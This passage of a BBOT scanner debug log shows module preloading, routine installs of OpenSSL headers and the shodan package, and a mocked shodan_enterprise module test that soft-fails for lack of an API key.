badsecrets from cache +2026-02-27 18:43:04,521 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 18:43:04,522 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 18:43:04,523 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 18:43:04,523 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 18:43:04,524 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 18:43:04,524 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 18:43:04,525 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 18:43:04,525 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 18:43:04,526 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 18:43:04,527 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 18:43:04,527 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 18:43:04,528 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 18:43:04,529 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 18:43:04,529 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 18:43:04,531 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 18:43:04,531 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 18:43:04,533 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 18:43:04,533 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 18:43:04,537 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 18:43:04,538 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 18:43:04,539 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 18:43:04,540 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 18:43:04,542 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 18:43:04,543 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 18:43:04,545 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 18:43:04,545 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 18:43:04,546 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 18:43:05,923 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:43:05,924 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:43:05,924 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 18:43:06,064 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 18:43:06,673 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 18:43:06,674 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 18:43:06,674 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 18:43:06,674 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 18:43:06,894 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 18:43:06,896 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 18:43:07,011 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 18:43:07,011 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 18:43:07,068 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 18:43:07,072 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 18:43:07,072 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 18:43:07,733 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 18:43:07,733 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 18:43:22,029 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 18:43:22,030 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 18:43:22,030 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 18:43:23,997 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 18:43:23,998 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 18:43:24,003 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:43:24,003 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 18:43:24,004 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:43:24,004 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 18:43:24,004 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:43:24,005 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 18:43:24,005 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:43:24,006 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 18:43:24,006 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 18:43:24,006 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 18:43:24,011 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/yb3zh4sjnjle43zae6l1 +2026-02-27 18:43:25,135 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 18:43:25,135 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 18:43:25,137 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 18:43:25,264 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 18:43:25,265 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 18:43:25,265 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 18:43:25,267 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 18:43:25,268 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 18:43:25,268 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 18:43:25,268 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 18:43:25,269 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 18:43:25,269 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 18:43:25,270 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 18:43:25,270 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 18:43:25,271 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 18:43:25,271 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 18:43:25,271 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 18:43:25,271 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 18:43:25,271 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 18:43:25,271 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 18:43:25,272 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 18:43:25,272 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 18:43:25,272 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 18:43:25,272 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 18:43:25,273 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 18:43:25,273 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 18:43:25,273 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 18:43:25,273 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 18:43:25,273 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 18:43:25,274 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 18:43:25,274 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 18:43:25,274 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 18:43:25,274 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 18:43:25,275 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 18:43:25,275 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 18:43:25,275 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 18:43:25,275 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 18:43:25,276 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 18:43:25,276 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 18:43:25,276 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 18:43:25,276 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 18:43:25,276 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 18:43:25,277 [INFO] bbot.scanner scanner.py:1191 Setup soft-failed for shodan_enterprise: No API key specified +2026-02-27 18:43:25,277 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 18:43:25,277 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 18:43:25,277 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 5/6 modules. +2026-02-27 18:43:25,277 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 18:43:25,278 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 18:43:25,492 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_e42p7ffjz4 +2026-02-27 18:43:25,492 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 18:43:25,646 [VERBOSE] bbot.scanner scanner.py:1181 5 modules started +2026-02-27 18:43:25,646 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 18:43:25,647 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 18:43:25,648 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) +2026-02-27 18:43:25,750 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:cbfca7a5576e763594811942fc835825d65e3d2f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 18:43:25,751 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:cbfca7a5576e763594811942fc835825d65e3d2f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:43:25,753 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:cbfca7a5576e763594811942fc835825d65e3d2f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:43:25,753 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) passed post-check +2026-02-27 18:43:25,754 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) +2026-02-27 18:43:25,755 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:cbfca7a5576e763594811942fc835825d65e3d2f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 18:43:25,756 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:cbfca7a5576e763594811942fc835825d65e3d2f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:43:25,756 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) in-scope because its main host matches the scan target +2026-02-27 18:43:25,758 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:cbfca7a5576e763594811942fc835825d65e3d2f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 18:43:25,758 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:cbfca7a5576e763594811942fc835825d65e3d2f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:43:25,759 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-02-27 18:43:25,760 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-02-27 18:43:25,760 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-02-27 18:43:25,761 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:cbfca7a5576e763594811942fc835825d65e3d2f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:43:25,762 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:cbfca7a5576e763594811942fc835825d65e3d2f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 18:43:25,768 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-02-27 18:43:25,769 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-02-27 18:43:25,770 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-02-27 18:43:25,771 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-02-27 18:43:25,771 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded +2026-02-27 18:43:25,849 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:cbfca7a5576e763594811942fc835825d65e3d2f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 18:43:25,851 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:cbfca7a5576e763594811942fc835825d65e3d2f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 18:43:25,851 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET +2026-02-27 18:43:25,852 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-02-27 18:43:25,852 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 18:43:25,853 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 18:43:25,854 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 18:43:25,854 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 18:43:25,855 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 18:43:25,855 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 18:43:25,955 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 18:43:25,955 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 18:43:25,984 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 18:43:25,985 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 18:43:25,985 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 40 tasks +2026-02-27 18:43:25,995 [DEBUG] bbot.scanner scanner.py:1176 Awaited 40 tasks +2026-02-27 18:43:25,996 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 18:43:25,997 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 18:43:25,998 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 18:43:25,999 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 18:43:26,000 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 18:43:26,131 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_e42p7ffjz4 completed in 0 seconds with status FINISHED +2026-02-27 18:43:26,132 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 18:43:26,133 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:43:26,135 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-02-27 18:43:26,135 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-02-27 18:44:24,443 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 18:44:24,452 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 18:44:24,453 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 18:44:24,454 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 18:44:24,455 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 18:44:24,456 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 18:44:24,456 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 18:44:24,457 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 18:44:24,458 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 18:44:24,458 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 18:44:24,459 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 18:44:24,460 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 18:44:24,460 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 18:44:24,461 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 18:44:24,462 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 18:44:24,463 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 18:44:24,463 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 18:44:24,464 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 18:44:24,465 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 18:44:24,465 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 18:44:24,466 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 18:44:24,470 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 18:44:24,471 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 18:44:24,472 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 18:44:24,472 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 18:44:24,474 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 18:44:24,474 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 18:44:24,475 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 18:44:24,476 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 18:44:24,477 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 18:44:24,477 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 18:44:24,478 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 18:44:24,478 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 18:44:24,479 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 18:44:24,480 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 18:44:24,481 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 18:44:24,481 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 18:44:24,482 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 18:44:24,482 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 18:44:24,483 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 18:44:24,483 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 18:44:24,484 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 18:44:24,485 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 18:44:24,486 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 18:44:24,486 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 18:44:24,487 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 18:44:24,487 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 18:44:24,493 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 18:44:24,493 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 18:44:24,494 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 18:44:24,495 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 18:44:24,497 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 18:44:24,498 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 18:44:24,498 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 18:44:24,499 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 18:44:24,500 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 18:44:24,500 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 18:44:24,501 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 18:44:24,502 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 18:44:24,503 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 18:44:24,504 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 18:44:24,504 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 18:44:24,505 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 18:44:24,506 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 18:44:24,506 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 18:44:24,507 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 18:44:24,507 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache 